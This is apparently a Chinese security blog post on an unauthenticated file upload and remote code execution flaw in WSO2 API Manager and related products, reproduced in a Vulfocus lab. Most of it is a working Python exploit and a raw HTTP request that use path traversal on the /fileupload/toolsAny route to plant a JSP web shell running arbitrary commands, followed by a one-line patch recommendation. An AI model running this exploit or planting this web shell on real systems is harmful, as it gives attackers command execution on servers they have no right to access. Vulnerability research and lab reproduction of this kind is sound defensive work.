目录
0x01 声明:
仅供学习参考使用,请勿用作违法用途,否则后果自负。
0x02 简介:
WSO2 是一个领先的开源 SOA 解决方案,包含了 SOA 相关的各种基础设施、技术框架和相关工具、流程 server、appserver 等。
0x03 漏洞概述:
近日,WSO2 官网发布关于 WSO2 API Manager 中存在任意文件上传和远程代码执行漏洞的信息。该漏洞是由于 WSO2 存在路由对输入的内容过滤不严格,攻击者可以利用该漏洞在未授权的情况下,构造恶意数据执行文件上传攻击,最终获取服务器最高权限。
0x04 影响版本:
2.2.0 ≤ WSO2 API Manager ≤ 4.0.0
5.2.0 ≤ WSO2 Identity Server ≤ 5.11.0
WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, 5.6.0
5.3.0 ≤ WSO2 Identity Server as Key Manager ≤ 5.10.0
6.2.0 ≤ WSO2 Enterprise Integrator ≤ 6.6.0
0x05 环境搭建:
vulfocus搭建:
((Vulfocus漏洞靶场搭建_Evan Kang的博客-CSDN博客)
浏览器访问:
0x06 漏洞复现:
1、EXP利用:
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = input("请输入URL:")
file = "shell.jsp"
payload = """<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>"""
files = {f"../../../../repository/deployment/server/webapps/authenticationendpoint/{file}": payload}
response = requests.post(f'{url}/fileupload/toolsAny', files=files, verify=False)
print(f"shell @ {url}/authenticationendpoint/{file}")
2、Burp改包:
POST /fileupload/toolsAny HTTP/1.1
Host: x.x.x.x:port
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"
<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--
请求:https://192.168.119.155:56079/authenticationendpoint/1.jsp
0x07 流量分析:
由于是TLS加密数据包所以就做一下EXP的分析吧。
0x08 修复建议:
厂商已分别发布补丁修复漏洞,用户请尽快更新至安全版本。
官方下载地址: https://github.com/wso2/product-apim/releases